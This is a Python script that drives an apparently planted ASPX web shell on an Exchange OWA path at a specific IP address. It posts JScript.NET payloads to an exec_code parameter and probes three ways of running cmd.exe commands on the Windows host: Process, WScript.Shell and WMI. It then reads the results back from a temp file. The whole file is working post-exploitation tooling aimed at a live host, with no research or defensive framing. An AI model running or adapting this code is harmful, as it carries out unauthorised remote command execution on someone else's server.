#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://103.167.140.144/owa/auth/mdcajy.aspx"

def ev(code):
    try:
        r = requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=40)
        return r.text.split('!BD')[0][:600]
    except Exception as e:
        return f"EXC:{type(e).__name__}:{str(e)[:100]}"

probes = {
 "types": 'Response.Write("P="+typeof(System.Diagnostics.Process)+"|AX="+typeof(ActiveXObject)+"|MG="+typeof(System.Management.ManagementClass));',
 "errmsg": 'try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="cmd.exe";p.StartInfo.Arguments="/c whoami";p.StartInfo.UseShellExecute=false;p.StartInfo.RedirectStandardOutput=true;p.Start();}catch(e){Response.Write("M="+e.message+"|D="+e.description+"|N="+e.number);}',
 "wscript": 'try{var w=new ActiveXObject("WScript.Shell");var x=w.Exec("cmd.exe /c whoami");Response.Write("WS:"+x.StdOut.ReadAll());}catch(e){Response.Write("EXW:"+e.message+"|"+e.description);}',
 "wmi": 'try{var mc=new System.Management.ManagementClass("Win32_Process");var inP=mc.GetMethodParameters("Create");inP["CommandLine"]="cmd.exe /c whoami > C:\\\\Windows\\\\Temp\\\\o.txt";var outP=mc.InvokeMethod("Create",inP,null);Response.Write("WMIrc="+outP["ReturnValue"]);}catch(e){Response.Write("EXM:"+e.message+"|"+e.description);}',
 "readout": 'Response.Write("OUT:"+(System.IO.File.Exists("C:\\\\Windows\\\\Temp\\\\o.txt")?System.IO.File.ReadAllText("C:\\\\Windows\\\\Temp\\\\o.txt"):"none"));',
}
for k, c in probes.items():
    print(f"[{k}]", repr(ev(c)), flush=True)